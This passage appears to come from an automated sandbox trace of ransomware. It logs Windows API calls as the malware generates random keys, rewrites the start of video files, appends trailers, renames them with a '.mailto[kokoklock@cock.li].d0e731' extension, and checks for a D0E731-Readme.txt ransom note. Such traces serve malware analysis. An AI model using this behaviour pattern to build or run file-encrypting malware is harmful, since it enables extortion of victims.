_Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" [0176.172] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.172] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.173] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.173] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.174] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f835c8 [0176.174] wcscpy (in: _Dest=0x2f835c8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0176.174] wcscat (in: _Dest=0x2f835c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0176.174] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0176.174] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f835c8) returned 1 [0176.174] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85718) returned 1 [0176.174] RtlExitUserThread (Status=0x1) Thread: id = 2451 os_tid = 0xeac [0176.176] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.176] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c4 [0176.176] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x238ffc20 | out: lpFileSize=0x238ffc20*=25517) returned 1 [0176.176] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x63a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.176] ReadFile (in: hFile=0x8c4, lpBuffer=0x238ffbf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x238ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x238ffbf4*, lpNumberOfBytesRead=0x238ffbf0*=0x4, lpOverlapped=0x0) returned 1 [0176.177] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.177] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.177] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.177] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.177] NtQuerySystemTime (in: CurrentTime=0x238ffbcc | out: CurrentTime=0x238ffbcc*=132121213334862182) returned 0x0 [0176.177] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x128be98e [0176.177] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x40686ece [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xa47bd6ec [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xdbfa5165 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xd46bbd46 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xa9bd9935 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x6d11b4f7 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xb192a050 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x9222f5d3 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x8b939268 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xa9667c34 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x3aa1762e [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xfa623811 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x7fda6b48 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xad5cc928 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xac7bbe39 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xcce58546 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x887fde69 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x9143c74f [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xdc154a3a [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x7d7db6da [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xb35feaed [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xf3b2150a [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xc8e54102 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x1364d166 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xc75e0794 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x9b79b6ba [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xcba6999c [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0xdb73e860 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x111ead3e [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x7ba0993 [0176.178] RtlRandom (in: Seed=0x238ffbd8 | out: Seed=0x238ffbd8) returned 0x5cd5556f [0176.190] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.190] ReadFile (in: hFile=0x8c4, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x238ffba4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x238ffba4*=0x4096, lpOverlapped=0x0) returned 1 [0176.190] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.191] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94bf8 [0176.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.191] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.191] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.191] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.191] WriteFile (in: hFile=0x8c4, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x238ffba4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x238ffba4*=0x4096, lpOverlapped=0x0) returned 1 [0176.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.192] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x63ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.192] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94bf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x238ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x2f94bf8*, lpNumberOfBytesWritten=0x238ffbdc*=0x20, lpOverlapped=0x0) returned 1 [0176.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94bf8) returned 1 [0176.192] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.192] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x238ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x238ffbf0*=0x8, lpOverlapped=0x0) returned 1 [0176.192] WriteFile (in: hFile=0x8c4, lpBuffer=0x238ffc08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x238ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x238ffc08*, lpNumberOfBytesWritten=0x238ffbf0*=0x4, lpOverlapped=0x0) returned 1 [0176.192] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x238ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x238ffbf0*=0x4, lpOverlapped=0x0) returned 1 [0176.192] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x238ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x238ffbf0*=0x6c, lpOverlapped=0x0) returned 1 [0176.193] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x238ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x238ffbf0*=0x20, lpOverlapped=0x0) returned 1 [0176.193] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x238ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x238ffbf0*=0x4, lpOverlapped=0x0) returned 1 [0176.193] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.193] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94bd0) returned 1 [0176.193] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.193] CloseHandle (hObject=0x8c4) returned 1 [0176.193] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11c) returned 0x2fa5100 [0176.193] wcscpy (in: _Dest=0x2fa5100, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" [0176.193] wcscat (in: _Dest=0x2fa5100, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.193] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\t2av.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.194] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.194] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5100) returned 1 [0176.194] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.195] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83cf8 [0176.195] wcscpy (in: _Dest=0x2f83cf8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0176.195] wcscat (in: _Dest=0x2f83cf8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0176.195] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0176.195] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83cf8) returned 1 [0176.195] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f984f0) returned 1 [0176.195] RtlExitUserThread (Status=0x1) Thread: id = 2452 os_tid = 0xeb0 [0176.196] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.196] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c4 [0176.197] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x2397faac | out: lpFileSize=0x2397faac*=59072) returned 1 [0176.197] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0xe6bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.197] ReadFile (in: hFile=0x8c4, lpBuffer=0x2397fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2397fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2397fa80*, lpNumberOfBytesRead=0x2397fa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.197] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94bd0 [0176.198] NtQuerySystemTime (in: CurrentTime=0x2397fa58 | out: CurrentTime=0x2397fa58*=132121213335174857) returned 0x0 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x47a36e72 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x8cfcd6f9 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xbda5f74 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xaff543b7 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x3b598e5 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x149d4faa [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xdb34814e [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x18403b7d [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x98d21a9b [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x3389b5a8 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x77687850 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x4fc6c8b1 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x23c0c5a5 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xdbd394d3 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xb99fe25b [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xea9d36e8 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x7cd4a2ad [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x65d62f21 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x9a1b21ae [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xdf1199c1 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x42247bbe [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xe09aa23d [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x35d43b22 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xfa3641c1 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xa8cb5c25 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x1f085d2 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0xd88868f0 [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x38a4d3be [0176.198] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x71378c88 [0176.199] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x5403e97f [0176.199] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x8d57ae0e [0176.199] RtlRandom (in: Seed=0x2397fa64 | out: Seed=0x2397fa64) returned 0x40637d7d [0176.209] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.209] ReadFile (in: hFile=0x8c4, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2397fa30, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x2397fa30*=0x4096, lpOverlapped=0x0) returned 1 [0176.209] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.209] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94c20 [0176.210] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.211] WriteFile (in: hFile=0x8c4, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2397fa30, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2397fa30*=0x4096, lpOverlapped=0x0) returned 1 [0176.211] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.211] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0xe6c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.211] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94c20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2397fa68, lpOverlapped=0x0 | out: lpBuffer=0x2f94c20*, lpNumberOfBytesWritten=0x2397fa68*=0x20, lpOverlapped=0x0) returned 1 [0176.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c20) returned 1 [0176.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.212] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, 